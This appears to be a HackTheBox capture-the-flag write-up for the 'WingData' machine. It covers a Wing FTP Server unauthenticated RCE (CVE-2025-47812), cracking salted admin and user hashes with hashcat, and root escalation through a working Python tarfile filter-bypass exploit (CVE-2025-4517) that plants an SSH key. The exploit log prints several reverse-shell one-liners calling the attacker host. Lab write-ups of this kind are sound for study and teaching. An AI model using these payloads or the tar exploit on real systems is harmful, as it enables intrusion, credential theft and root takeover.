WingData

📅 Last Updated: Mar 12, 2026 05:15 | 📄 Size: 14.9 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Easy | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/WingData]
└─$ nmap -sC -sV -Pn 10.129.244.106 -oN ./nmap.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-12 04:11 +0000
Nmap scan report for 10.129.244.106
Host is up (0.44s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_  256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open  http    Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: Did not follow redirect to http://wingdata.htb/
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.97 seconds

Add wingdata.htbto our /etc/hosts

HTTP - TCP 80

From the index page, we can find another domain name from the button Client Portal http://ftp.wingdata.htb/

We can clearly find the version of this service Wing FTP Server v7.4.3

Now let's check the CVE of this version CVE-2025-47812 https://www.exploit-db.com/exploits/52347 Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE)

Let's run the exploit script and verify the vulnerability

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/WingData]
└─$ python3 exploit.py -u http://ftp.wingdata.htb                        

[*] Testing target: http://ftp.wingdata.htb
[+] http://ftp.wingdata.htb is vulnerable!

Or we can use other's exploit script to auto it

https://github.com/blindma1den/CVE-2025-47812.git

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/WingData]
└─$ python3 rce.py                                                      
============================================================
   CVE-2025-47812 - Wing FTP Server RCE Exploit
============================================================
Target URL (e.g., http://localhost:5466): http://ftp.wingdata.htb 
Username (default: anonymous): anonymous
1) Run Command
2) Get Reverse Shell
Your choice (1 or 2): 1
Command to execute (default: whoami): whoami
[*] Trying to get UID... Command: whoami
[+] UID obtained: c38c596a19d297ce82414fbc28dc0516f528764d624db129b32c21fbca0cb8d6
[*] Sending /dir.html request...
[+] HTTP 200
------ Response Start ------
wingftp
<?xml version="1.0" encoding="UTF-8" ?>
<alldata><nowdir><![CDATA[/]]></nowdir>
<dirdata>
</dirdata>
<nowquota>0</nowquota>
<maxquota>0</maxquota>
<readfile>1</readfile>
</alldata>

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/WingData]
└─$ python3 rce.py
============================================================
   CVE-2025-47812 - Wing FTP Server RCE Exploit
============================================================
Target URL (e.g., http://localhost:5466): http://ftp.wingdata.htb
Username (default: anonymous): anonymous
1) Run Command
2) Get Reverse Shell
Your choice (1 or 2): 2
Reverse shell IP address: 10.10.14.6
Reverse shell port: 443
[*] Trying payload: php -r '$sock=fsockopen("10.10.14.6",443);exec("sh <&3 >&3 2>&3");'
[*] Trying to get UID... Command: php -r '$sock=fsockopen("10.10.14.6",443);exec("sh <&3 >&3 2>&3");'
[+] UID obtained: 1c2ab4da170f6ea3969129ed85a44418f528764d624db129b32c21fbca0cb8d6
[*] Sending /dir.html request...
[+] HTTP 200
------ Response Start ------
session expired

------ Response End ------
[*] Payload sent, waiting for reverse shell...
[*] Trying payload: bash -i >& /dev/tcp/10.10.14.6/443 0>&1
[*] Trying to get UID... Command: bash -i >& /dev/tcp/10.10.14.6/443 0>&1
[+] UID obtained: 2995884a70e00b808dfb9fe7071159c4f528764d624db129b32c21fbca0cb8d6
[*] Sending /dir.html request...
[+] HTTP 200
------ Response Start ------
session expired

------ Response End ------
[*] Payload sent, waiting for reverse shell...
[*] Trying payload: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
[*] Trying to get UID... Command: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
[+] UID obtained: a927bf9cdaf1669872a522f98001fa24f528764d624db129b32c21fbca0cb8d6
[*] Sending /dir.html request...
[+] HTTP 200
------ Response Start ------
session expired

------ Response End ------
[*] Payload sent, waiting for reverse shell...
[*] Trying payload: nc 10.10.14.6 443 -e /bin/sh
[*] Trying to get UID... Command: nc 10.10.14.6 443 -e /bin/sh
[+] UID obtained: 113620aa9e3f7b838bb0c69f8afef981f528764d624db129b32c21fbca0cb8d6
[*] Sending /dir.html request...

Now we can get the reverse shell as wingftp

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/WingData]
└─$ nc -lnvp 443     
listening on [any] 443 ...
connect to [10.10.14.6] from (UNKNOWN) [10.129.244.106] 41500
whoami
wingftp
id
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)

We can upgrade the shell to have a stable enumerating environment

upgrade to PTY
python3 -c 'import pty;pty.spawn("bash")' or script /dev/null -c bash
^Z
stty raw -echo; fg

By enumerating the file system, I find the administrator password hash

wingftp@wingdata:/opt/wftpserver/Data/_ADMINISTRATOR$ cat admins.xml 
<?xml version="1.0" ?>
<ADMIN_ACCOUNTS Description="Wing FTP Server Admin Accounts">
    <ADMIN>
        <Admin_Name>admin</Admin_Name>
        <Password>a8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba</Password>
        <Type>0</Type>
        <Readonly>0</Readonly>
        <IsDomainAdmin>0</IsDomainAdmin>
        <DomainList></DomainList>
        <MyDirectory></MyDirectory>
        <EnableTwoFactor>0</EnableTwoFactor>
        <TwoFactorCode></TwoFactorCode>
    </ADMIN>
</ADMIN_ACCOUNTS>

wingftp@wingdata:/opt/wftpserver/Data/_ADMINISTRATOR$ cat settings.xml 
<?xml version="1.0" ?>
<Administrator Description="Wing FTP Server Administrator Options">
    <HttpPort>5466</HttpPort>
    <HttpSecure>0</HttpSecure>
    <AdminLogfileEnable>1</AdminLogfileEnable>
    <AdminLogfileFileName>Admin-%Y-%M-%D.log</AdminLogfileFileName>
    <AdminLogfileMaxsize>0</AdminLogfileMaxsize>
    <EnablePortUPnP>0</EnablePortUPnP>
</Administrator>

After trying to crack that with SHA256,but it seems not cracked.I guess there should be salt with that.

Wing FTP documentation explicitly states that a salt string is appended to the password before hashing. From the configure of /opt/wftpserver/Data/1/settings.xml I find the salt is WingFTP

<EnableSHA256>1</EnableSHA256>
<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>

Also there are other hashes from /opt/wftpserver/Data/1/users

wingftp@wingdata:/opt/wftpserver/Data/1/users$ ls
anonymous.xml  john.xml  maria.xml  steve.xml  wacky.xml

Now let's try to crack these hashes

c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10:WingFTP
a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03:WingFTP
5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca:WingFTP
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP

hashcat -m 1410 -a 0 wing_users.hash /usr/share/wordlist/rockyou.txt 
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1410 (sha256($pass.$salt))

Now we can get the new credit wacky:!#7Blushing^*Bride5and access to ssh connect to machine.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/WingData]
└─$ ssh wacky@wingdata.htb
wacky@wingdata:~$ id
uid=1001(wacky) gid=1001(wacky) groups=1001(wacky)
wacky@wingdata:~$ whoami
wacky

Privilege Escalation

I would check the sudo -lfirstly

wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

We can check the python script and find something wired here.

Root Cause Analysis

The main risk in this privilege escalation path comes from the fact that the script extracts a tar archive with root privileges using tarfile.extractall().

Although the script attempts to restrict user input, these checks do not fully eliminate the attack surface. Specifically, it enforces:

A strict backup filename format: backup_<client_id>.tar
A restricted restore directory name: restore_<tag>
Fixed base directories for backups and restores

At first glance, these constraints appear sufficient to make the restore process safe. However, they do not address the fundamental issue: an attacker-controlled tar archive is extracted as root.

Why This Is Dangerous
The tar format supports complex filesystem objects such as:
Symbolic links (symlinks)
Hard links
Special file types
Arbitrary path structures

If these objects are not carefully validated during extraction, they can cause files to be written outside the intended extraction directory.

Even though the script uses:
tar.extractall(path=staging_dir, filter="data")
this protection is not a complete security boundary.
Recent research has shown that the filter="data" mechanism can still be bypassed under certain conditions. Notably:

CVE-2025-4517 — Filter bypass allowing arbitrary file writes outside the extraction directory.

CVE-2024-12718 — Additional unsafe extraction behaviors involving symlinks, hard links, and path resolution.

These vulnerabilities demonstrate that specially crafted tar archives can manipulate how paths resolve during extraction, potentially allowing files to be written to unintended locations.

There is a pocfrom the google security team

https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f

Now we can modify the payload of the exploit script

import tarfile
import os
import io
import sys
# 247 (55 on OSX) picked so the expanded path of dirs is 3968 bytes long (or 896
# on OSX), leaving 128 bytes for a prefix and at least a few chars of the link

# ========== CONFIGURATION ==========
EVIL_TAR_NAME = "backup_1337.tar"
TRAVERSAL_PATH = "/../../../../root/.ssh/authorized_keys"
WRITE_CONTENT = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDO0dl48snyfNIrhj7V9tMQpXE5B0uCuiCXQxCdZLYglN70DyHDODd5y6jdo4JhorRyBK7kEguQZErAGWtJOs9Q8Tk6VLE1PmRc+vZMFH7FhM+Bdr6kH3bjHbPvLr/rqwYKCzUB5oYZOAJP9+6azC/SiBdtne0TN7uzTLXIO9+nFvfX6ZEL+Exkc3Tux7BlmatBJAOjvSHY94NXylZzyNM8HKDLp1fR43f64oKDL5odQFumuYDS2PvRRTMcx9NJ8xc1PD2STFd9xXvcpyXnE+WJjbc0s/iq6bgw6FrN7yYEegXolRsLh9jMFQtfJnBExqK2PWMm++UH2U6W4CXdKq1Vjlj+ZbWoC8SM3lL+H2y+wB2xjugQolebG3JS1r6NLGCDygY25ySUskXPdprwPf6vFCQiSdr2EHATwJI3HQMMUyBuEuHawppop60atUcMOhXny0h7//zJ/td6fouJT14KxQ/3f3B/ifXoAmIX8Y15FBxY70qeubV1XE+TnaXaw7IdESxEn5mIl13cIleAv/UFF4fEyXutr3ceDFHE4MOsL4KzynSfNmUMKkkbf+IbVGiJTKrzjzcCPx4KBKkhybmidX3q3LOwXvtltF/7t5/bM9D8JB7rT/3VF4ECtPt9Mr2FbahMz9Uzm1yKcu0sNbx9DFKSVtn2larH+zqh7QU7iQ== test"
# ===================================

comp = 'd' * (55 if sys.platform == 'darwin' else 247)
steps = "abcdefghijklmnop"
path = ""
with tarfile.open(EVIL_TAR_NAME, mode="x") as tar:
    # populate the symlinks and dirs that expand in os.path.realpath()
    for i in steps:
        a = tarfile.TarInfo(os.path.join(path, comp))
        a.type = tarfile.DIRTYPE
        tar.addfile(a)
        b = tarfile.TarInfo(os.path.join(path, i))
        b.type = tarfile.SYMTYPE
        b.linkname = comp
        tar.addfile(b)
        path = os.path.join(path, comp)
    # create the final symlink that exceeds PATH_MAX and simply points to the
    # top dir. this allows *any* path to be appended.
    # this link will never be expanded by os.path.realpath(), nor anything after it.
    linkpath = os.path.join("/".join(steps), "l"*254)
    l = tarfile.TarInfo(linkpath)
    l.type = tarfile.SYMTYPE
    l.linkname = ("../" * len(steps))
    tar.addfile(l)
    # make a symlink outside to keep the tar command happy
    e = tarfile.TarInfo("escape")
    e.type = tarfile.SYMTYPE
    e.linkname = linkpath + TRAVERSAL_PATH
    tar.addfile(e)
    # use the symlinks above, that are not checked, to create a hardlink
    # to a file outside of the destination path
    f = tarfile.TarInfo("flaglink")
    f.type = tarfile.LNKTYPE
    f.linkname =  "escape"
    tar.addfile(f)
    # now that we have the hardlink we can overwrite the file
    content = WRITE_CONTENT.encode() + b"\n"
    c = tarfile.TarInfo("flaglink")
    c.type = tarfile.REGTYPE
    c.size = len(content)
    tar.addfile(c, fileobj=io.BytesIO(content))

After running the script, we will get the backup file

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/WingData]
└─$ python3 poc.py

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/WingData]
└─$ file backup_1337.tar                                                                                                     
backup_1337.tar: POSIX tar archive

Then upload it and trigger write it

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/WingData]
└─$ scp backup_*.tar wacky@wingdata.htb:/opt/backup_clients/backups
wacky@wingdata.htb's password: 
backup_1337.tar                                                                                                                               100%  120KB  39.1KB/s   00:03    

wacky@wingdata:~$ sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
    -b `ls /opt/backup_clients/backups` \
    -r restore_whatever
[+] Backup: backup_1337.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_whatever
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_whatever

Now you can use your private key to ssh connect to root shell.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/WingData]
└─$ ssh -i ~/.ssh/id_rsa root@wingdata.htb                         
Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Mar 12 01:08:36 2026 from 10.10.14.6
root@wingdata:~# whoami
root
root@wingdata:~# id
uid=0(root) gid=0(root) groups=0(root)

Description

The privilege escalation section's use of CVE-2025-4517 is a classic example and is well-suited for teaching and demonstration.